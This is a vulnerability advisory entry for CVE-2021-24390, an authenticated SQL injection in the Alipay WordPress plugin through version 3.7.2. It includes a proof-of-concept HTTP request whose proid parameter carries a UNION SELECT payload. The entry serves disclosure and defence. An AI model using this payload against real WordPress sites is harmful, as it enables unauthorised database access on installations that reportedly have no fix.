Alipay <= 3.7.2 – Authenticated SQL Injection | CVE 2021-24390 | Plugin Vulnerabilities

Description

A proid GET parameter of the plugin is not sanitised, properly escaped or validated before inserting to a SQL statement not delimited by quotes, leading to SQL injection.

Proof of Concept

GET /wp-admin/options-general.php?page=ws_alipay&action=edit&proid=-5818%20UNION%20ALL%20SELECT 73,73,73,73,73,user(),73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73%23 HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin]
Connection: close

Affects Plugins

No known fix

References

CVE

URL

https://codevigilant.com/disclosure/2021/wp-plugin-alipay/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Syed Sheeraz Ali of Codevigilant

Verified

Yes

WPVDB ID

92b0abec-082f-4545-9636-1b2f4dac66fe

Timeline

Publicly Published

2021-07-23 (about 4 years ago)

Added

2021-08-09 (about 4 years ago)

Last Updated

2022-04-12 (about 3 years ago)

Other

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2021-02-08

Title

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2025-05-16

Title

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Published

2015-12-15

Title

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